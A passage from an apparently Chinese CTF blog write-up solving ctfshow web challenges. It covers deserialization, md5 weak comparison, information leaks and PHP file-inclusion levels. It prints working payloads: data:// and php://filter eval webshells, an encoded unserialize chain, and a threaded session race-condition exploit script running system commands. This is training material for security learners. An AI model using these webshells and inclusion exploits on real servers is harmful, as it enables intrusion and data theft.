\/><\/div><\/figure>\n\n\n\n<p>\u518d\u67e5\u8be2flag\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1.jsp?driver=com.mysql.jdbc.Driver&amp;url=jdbc:mysql:\/\/localhost:3306\/app?characterEncoding=utf-8&amp;useSSL=false&amp;&amp;autoReconnect=true&amp;allowMultiQueries=true&amp;serverTimezone=UTC&amp;sql=select f1ag as t from app_flag_xxoo_non0 union select 1;<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u5355\u8eab\u676f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">web\u7b7e\u5230<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n\n$file&nbsp;=&nbsp;$_POST&#91;'file'];\n\nif(isset($file)){\n&nbsp;&nbsp;&nbsp;&nbsp;if(strrev($file)==$file){\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;include&nbsp;$file;\n&nbsp;&nbsp;&nbsp;&nbsp;}\n\n}<\/code><\/pre>\n\n\n\n<p>strrev()\u662f\u7ffb\u8f6c\u51fd\u6570\uff0c\u4e5f\u5c31\u662f\u8bf4\u5982\u679c\u7ffb\u8f6c\u540e\u7684$file==$file\uff0c\u5b83\u5c31\u5305\u542b$file\uff0c\u56e0\u6b64\u60f3\u8981\u6267\u884c\u8fd9\u4e2a\u5fc5\u987b\u6574\u4e00\u4e2a\u53cd\u8f6c\u540e\u4e00\u6837\u7684\u5b57\u7b26\u4e32\uff0c\u7528data\u4f20\u9a6c\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST\uff1afile=data:\/\/text\/plain,&lt;?php eval($_GET&#91;'cmd']);?&gt;&gt;?;)]'dmc'&#91;TEG_$(lave php?&lt;,nialp\/txet\/\/:atad\nurl\/?cmd=system(\"cat \/*\");<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u5377\u738b\u676f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">easy unserialize<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\ninclude(\".\/HappyYear.php\");\n\nclass&nbsp;one&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;$object;\n\n&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;MeMeMe()&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;array_walk($this,&nbsp;function($fn,&nbsp;$prev){\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($fn&#91;0]&nbsp;===&nbsp;\"Happy_func\"&nbsp;&amp;&amp;&nbsp;$prev&nbsp;===&nbsp;\"year_parm\")&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;global&nbsp;$talk;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"$talk\".\"&lt;\/br&gt;\";\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;global&nbsp;$flag;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;$flag;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;});\n&nbsp;&nbsp;&nbsp;&nbsp;}\n\n&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;__destruct()&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@$this-&gt;object-&gt;add();\n&nbsp;&nbsp;&nbsp;&nbsp;}\n\n&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;__toString()&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;object-&gt;string;\n&nbsp;&nbsp;&nbsp;&nbsp;}\n}\n\nclass&nbsp;second&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;protected&nbsp;$filename;\n\n&nbsp;&nbsp;&nbsp;&nbsp;protected&nbsp;function&nbsp;addMe()&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;\"Wow&nbsp;you&nbsp;have&nbsp;sovled\".$this-&gt;filename;\n&nbsp;&nbsp;&nbsp;&nbsp;}\n\n&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;__call($func,&nbsp;$args)&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call_user_func(&#91;$this,&nbsp;$func.\"Me\"],&nbsp;$args);\n&nbsp;&nbsp;&nbsp;&nbsp;}\n}\n\nclass&nbsp;third&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;$string;\n\n&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;__construct($string)&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;string&nbsp;=&nbsp;$string;\n&nbsp;&nbsp;&nbsp;&nbsp;}\n\n&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;__get($name)&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$var&nbsp;=&nbsp;$this-&gt;$name;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$var&#91;$name]();\n&nbsp;&nbsp;&nbsp;&nbsp;}\n}\n\nif&nbsp;(isset($_GET&#91;\"ctfshow\"]))&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;$a=unserialize($_GET&#91;'ctfshow']);\n&nbsp;&nbsp;&nbsp;&nbsp;throw&nbsp;new&nbsp;Exception(\"\u9ad8\u4e00\u65b0\u751f\u62a5\u9053\");\n}&nbsp;else&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n<p>\u540c\u7ea2\u5ca9\u676f\u7684\u53cd\u5e8f\u5217\u5316\u9898<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nclass one {\n    public $object;\n    public $year_parm=array(0=&gt;\"Happy_func\");\n}\n \n \nclass second {\n    public $filename;\n}\n \n \nclass third {\n    private $string;\n \n \n     public function __construct($string) {\n    $this-&gt;string = $string;\n}\n}}\n \n \n$a=new one();\n$a-&gt;object=new second();\n$a-&gt;object-&gt;filename=new one();\n$a-&gt;object-&gt;filename-&gt;object=new third(&#91;'string'=&gt;&#91;new one(),'MeMeMe']]);\n \n$n=null;\n$payload=array($a,$n);\n \necho urlencode(serialize($payload));<\/code><\/pre>\n\n\n\n<p>i:1\u6539\u6210i:0\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?ctfshow=a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u6708\u997c\u676f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">web\u7b7e\u5230<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\/\/Author:H3h3QAQ\ninclude&nbsp;\"flag.php\";\nhighlight_file(__FILE__);\nerror_reporting(0);\nif&nbsp;(isset($_GET&#91;\"YBB\"]))&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(hash(\"md5\",&nbsp;$_GET&#91;\"YBB\"])&nbsp;==&nbsp;$_GET&#91;\"YBB\"])&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"\u5c0f\u4f19\u5b50\u4e0d\u9519\u561b\uff01\uff01flag\u7ed9\u4f60\u4e86\uff1a\"&nbsp;.&nbsp;$flag;\n&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"\u5076\u543c\uff0c\u5e26\u9ed1\u9614\u88ab\u7a9d\u6293\u5230\u4e86\uff01\uff01\uff01\uff01\";\n&nbsp;&nbsp;&nbsp;&nbsp;}\n}<\/code><\/pre>\n\n\n\n<p>\u56e0\u4e3a\u8fd9\u91cc\u662f\u5f31\u6bd4\u8f83\uff0c\u6240\u4ee5\u5176\u5b9e\u53ea\u8981\u6211\u4eec\u627e\u4e2a\u5b57\u7b26\u4e32\u524d\u540e\u52a0\u5bc6\u524d\u7f00\u90fd\u4e00\u6837\u5c31\u884c\u4e86\uff0c\u6bd4\u59820e215962017\uff0c\u5b83md5\u540e\u662f0e291242476940776845150308577824\uff0c\u4e8c\u8005\u524d\u7f00\u90fd\u662f0e\u81ea\u7136\u5f31\u6bd4\u8f83\u6210\u529f\uff0c\u62ff\u5230flag\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?YBB=0e215962017<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7\u4fe1\u606f\u641c\u96c6<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web1<\/h2>\n\n\n\n<p>f12\u67e5\u770b\u6e90\u7801\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web2<\/h2>\n\n\n\n<p>f12<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web3<\/h2>\n\n\n\n<p>\u8fd4\u56de\u5305\u8bf7\u6c42\u5934\u91cc<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web4<\/h2>\n\n\n\n<p>\/robots.txt-&gt;\/flagishere.txt<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web5<\/h2>\n\n\n\n<p>phps\u6587\u4ef6\u6cc4\u9732\uff0c\u8bbf\u95ee\/index.phps<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web6<\/h2>\n\n\n\n<p>\/www.zip -&gt; \/fl000g.txt<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web7<\/h2>\n\n\n\n<p>git\u6cc4\u9732\uff0c\u8bbf\u95ee\/git\/<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web8<\/h2>\n\n\n\n<p>svn\u6cc4\u9732\uff0c\u8bbf\u95ee\/.svn\/<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web9<\/h2>\n\n\n\n<p>vim\u7f13\u5b58\u6587\u4ef6.swp\uff0c\u8bbf\u95eeindex.php.swp<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web10<\/h2>\n\n\n\n<p>\u770bcookie<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web11<\/h2>\n\n\n\n<p>\u67e5\u770bflag.ctfshow.com\u7684txt\u89e3\u6790\u8bb0\u5f55\uff0c\u53ef\u4ee5\u7528http:\/\/www.wetools.com\/dns\/bdeccb25bc9237a4ce71db80a2655594<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-59.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"753\" height=\"399\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-59.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1634\"  sizes=\"auto, (max-width: 753px) 100vw, 753px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web12<\/h2>\n\n\n\n<p>\u8bbf\u95eerobots.txt\u5f97\u5230\/admin\/\u5373\u540e\u53f0\u767b\u5f55\u8def\u5f84\uff0c\u4e3b\u9875\u6700\u4e0b\u9762\u90a3\u4e2a\u5e2e\u52a9\u7535\u8bdd\u5c31\u662fadmin\u5bc6\u7801\uff0c\u767b\u5f55\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web13<\/h2>\n\n\n\n<p>\u7ffb\u5230\u6700\u4e0b\u9762\u53ef\u4ee5\u770b\u5230INFORMATION\u90a3\u4e00\u5217\u53ef\u4ee5\u4e0b\u8f7ddocument\uff0c\u4e0b\u8f7d\u540e\u91cc\u9762\u6709\u9ed8\u8ba4\u8d26\u53f7\u548c\u5bc6\u7801admin\u548cadmin1103\u4ee5\u53ca\u540e\u53f0\u8def\u5f84\/system1103\/login.php\uff0c\u767b\u9646\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web14<\/h2>\n\n\n\n<p>\u8bbf\u95eeurl\/editor\/\u53ef\u4ee5\u770b\u5230\u4e00\u4e2a\u56fe\u6807\u957f\u5f97\u50cf\u56de\u5f62\u9488\u7684\u63d2\u5165\u6587\u4ef6\u529f\u80fd\uff0c\u6253\u5f00\u540e\u9009\u62e9\u6587\u4ef6\u7a7a\u95f4\u5373\u53ef\u904d\u5386\u6587\u4ef6\u3002\u6700\u540e\u8bbf\u95eeurl\/nothinghere\/fl000g.txt\u5373\u53ef\u62ff\u5230flag<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web15<\/h2>\n\n\n\n<p>\u7f51\u9875\u6700\u4e0b\u9762\u6709\u4e2aqq\u90ae\u7bb1\uff0c\u67e5\u51fa\u6765\u897f\u5b89\u7684\uff0c\u8bbf\u95ee\/admin\uff0c\u4f7f\u7528\u91cd\u7f6e\u5bc6\u7801\u529f\u80fd\uff0c\u5bc6\u4fdd\u95ee\u9898\u662f\u5c45\u4f4f\u5730\uff0c\u586b\u897f\u5b89\u540e\u628a\u5bc6\u7801\u91cd\u7f6e\u4e3aadmin7789\uff0c\u7136\u540e\u767b\u5f55\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web16<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u8003\u5bdfPHP\u63a2\u9488php\u63a2\u9488\u662f\u7528\u6765\u63a2\u6d4b\u7a7a\u95f4\u3001\u670d\u52a1\u5668\u8fd0\u884c\u72b6\u51b5\u548cPHP\u4fe1\u606f\u7528\u7684\uff0c\u63a2\u9488\u53ef\u4ee5\u5b9e\u65f6\u67e5\u770b\u670d\u52a1\u5668\u786c\u76d8\u8d44\u6e90\u3001\u5185\u5b58\u5360\u7528\u3001\u7f51\u5361 \u6d41\u91cf\u3001\u7cfb\u7edf\u8d1f\u8f7d\u3001\u670d\u52a1\u5668\u65f6\u95f4\u7b49\u4fe1\u606f\u3002 url\u540e\u7f00\u540d\u6dfb\u52a0\/tz.php \u7248\u672c\u662f\u96c5\u9ed1PHP\u63a2\u9488\uff0c\u7136\u540e\u67e5\u770bphpinfo\u641c\u7d22flag<\/p>\n<\/blockquote>\n\n\n\n<h2 class=\"wp-block-heading\">web17<\/h2>\n\n\n\n<p>\u5907\u4efd\u7684sql\u6587\u4ef6\uff0c\u8bbf\u95ee\/backup.sql<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web18<\/h2>\n\n\n\n<p>f12\u53ef\u4ee5\u770b\u5230\u5206\u6570\u5230\u8fbe100\u540e\u5f39\u7a97\u7684\u5b57\u7b26\u4e32\uff0c\u628a\u5b83\u4eecUnicode\u89e3\u7801\u5f97\u5230\uff1a\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b\uff0c\u8bbf\u95ee\/110.php\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web19<\/h2>\n\n\n\n<p>f12\u770b\u6e90\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\n    error_reporting(0);\n    $flag=\"fakeflag\"\n    $u = $_POST&#91;'username'];\n    $p = $_POST&#91;'pazzword'];\n    if(isset($u) &amp;&amp; isset($p)){\n        if($u==='admin' &amp;&amp; $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){\n            echo $flag;\n        }\n}<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5post\u63d0\u4ea4\u4e00\u4e0b\u5c31\u884c\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>username=admin&amp;pazzword=a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web20<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>mdb\u6587\u4ef6\u662f\u65e9\u671fasp+access\u6784\u67b6\u7684\u6570\u636e\u5e93\u6587\u4ef6 \u76f4\u63a5\u67e5\u770burl\u8def\u5f84\u6dfb\u52a0\/db\/db.mdb \u4e0b\u8f7d\u6587\u4ef6\u901a\u8fc7txt\u6253\u5f00\u6216\u8005\u901a\u8fc7EasyAccess.exe\u6253\u5f00\u641c\u7d22flag flag{ctfshow_old_database}<\/p>\n<\/blockquote>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7\u6587\u4ef6\u5305\u542b<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web78<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\nif(isset($_GET&#91;'file'])){\n    $file = $_GET&#91;'file'];\n    include($file);\n}else{\n    highlight_file(__FILE__);\n} <\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>?file=php:\/\/filter\/convert.base64-encode\/resource=flag.php<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web79<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\nif(isset($_GET&#91;'file'])){\n    $file = $_GET&#91;'file'];\n    $file = str_replace(\"php\", \"???\", $file);\n    include($file);\n}else{\n    highlight_file(__FILE__);\n} <\/code><\/pre>\n\n\n\n<p>\u6362\u6210data\u534f\u8bae\u5373\u53ef\uff0c\u5c31\u662fbase64\u540e\u7684&lt;?php @eval($_POST[1]);<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?file=data:\/\/text\/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs=\nPOST 1=system(\"cat *f*\");<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web80<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\nif(isset($_GET&#91;'file'])){\n    $file = $_GET&#91;'file'];\n    $file = str_replace(\"php\", \"???\", $file);\n    $file = str_replace(\"data\", \"???\", $file);\n    include($file);\n}else{\n    highlight_file(__FILE__);\n} <\/code><\/pre>\n\n\n\n<p>\u7ecf\u5178\u7684\u5305\u542b\u65e5\u5fd7<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-82-1024x434.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"434\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-82-1024x434.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1918\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web81<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\nif(isset($_GET&#91;'file'])){\n    $file = $_GET&#91;'file'];\n    $file = str_replace(\"php\", \"???\", $file);\n    $file = str_replace(\"data\", \"???\", $file);\n    $file = str_replace(\":\", \"???\", $file);\n    include($file);\n}else{\n    highlight_file(__FILE__);\n} <\/code><\/pre>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-83-1024x512.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"512\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-83-1024x512.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1919\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web82-86<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php \nif(isset($_GET&#91;'file'])){\n    $file = $_GET&#91;'file'];\n    $file = str_replace(\"php\", \"???\", $file);\n    $file = str_replace(\"data\", \"???\", $file);\n    $file = str_replace(\":\", \"???\", $file);\n    $file = str_replace(\".\", \"???\", $file);\n    include($file);\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n<p>\u6761\u4ef6\u7ade\u4e89\u5305\u542bsession\uff0c\u5229\u7528<code>session.upload_progress<\/code>\u5c06\u6076\u610f\u8bed\u53e5\u5199\u5165session\u6587\u4ef6\uff0c\u4ece\u800c\u5305\u542bsession\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport threading\nimport sys\nsession=requests.session()\nsess='yu22x'\nurl1=\"http:\/\/05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080\/\"\nurl2='http:\/\/05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080?file=\/tmp\/sess_'+sess\ndata1={\n\t'PHP_SESSION_UPLOAD_PROGRESS':'&lt;?php eval($_POST&#91;1]);?&gt;'\n}\ndata2={\n\t'1':'system(\"cat f*\");'\n}\nfile={\n\t'file':'abc'\n}\ncookies={\n\t'PHPSESSID': sess\n}\ndef write():\n\twhile True:\n\t\tr = session.post(url1,data=data1,files=file,cookies=cookies)\ndef read():\n\twhile True:\n\t\tr = session.post(url2,data=data2)\n\t\tif 'ctfshow{' in r.text:\n\t\t\tprint(r.text)\nthreads = &#91;threading.Thread(target=write),\n       threading.Thread(target=read)]\nfor t in threads:\n\tt.start()\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web87<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\nif(isset($_GET&#91;'file'])){\n    $file = $_GET&#91;'file'];\n    $content = $_POST&#91;'content'];\n    $file = str_replace(\"php\", \"???\", $file);\n    $file = str_replace(\"data\", \"???\", $file);\n    $file = str_replace(\":\", \"???\", $file);\n    $file = str_replace(\".\", \"???\", $file);\n    file_put_contents(urldecode($file), \"&lt;?php die('\u5927\u4f6c\u522b\u79c0\u4e86');?&gt;\".$content);\n\n    \n}else{\n    highlight_file(__FILE__);\n} <\/code><\/pre>\n\n\n\n<p>\u6b7b\u4ea1die\uff0c\u4e4b\u524d\u770b\u522b\u4eba\u535a\u5ba2\u91cc\u63d0\u5230\u8fc7\uff0c\u5177\u4f53\u53ef\u4ee5\u770b\u770bp\u795e\u7684\u535a\u5ba2\uff1ahttps:\/\/www.leavesongs.com\/PENETRATION\/php-filter-magic.html\uff0c\u501f\u7528\u4e00\u4e0b\u522b\u4eba\u7684\u89e3\u91ca\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET\nfile=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570\n\/\/ file=php:\/\/filter\/write=convert.base64-decode\/resource=a.php\nPOST\ncontent=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==\n\u5176\u4e2dPD9waHAgZXZhbCgkX1BPU1RbMV0pOw==\u662f\"&lt;?php eval($_POST&#91;1]);\"\u7684base64\u7f16\u7801\u3002\u524d\u9762\u768411\u662f\u4e3a\u4e86\u586b\u5145\"&lt;?php die('\u5927\u4f6c\u522b\u79c0\u4e86');?&gt;\"\nbase64 4\u4f4d4\u4f4d\u89e3\u7801\uff0c\u5176\u4e2d\"&lt;?php die('\u5927\u4f6c\u522b\u79c0\u4e86');?&gt;\"\u89e3\u7801\u7684\u5185\u5bb9\u5176\u5b9e\u53ea\u6709phpdie\uff0c\u6240\u4ee5\u9700\u8981\u518d\u586b\u5145\u4e24\u4f4d\u3002\n\/\/content=&lt;?php eval($_POST&#91;1]);<\/code><\/pre>\n\n\n\n<p>\u6216\u8005\u7528rot13<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET\nfile=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2562%252e%2570%2568%2570\n\/\/file=php:\/\/filter\/read=string.rot13\/resource=b.php\nPOST\ncontent=&lt;?cuc riny($_CBFG&#91;1]);\n\/\/content=&lt;?php eval($_POST&#91;1]);\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web88<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\nif(isset($_GET&#91;'file'])){\n    $file = $_GET&#91;'file'];\n    if(preg_match(\"\/php|\\~|\\!|\\@|\\#|\\\\$|\\%|\\^|\\&amp;|\\*|\\(|\\)|\\-|\\_|\\+|\\=|\\.\/i\", $file)){\n        die(\"error\");\n    }\n    include($file);\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n<p>\u6ca1\u8fc7\u6ee4:\uff0c\u76f4\u63a5data\u534f\u8bae<\/p>\n\n\n\n<pre 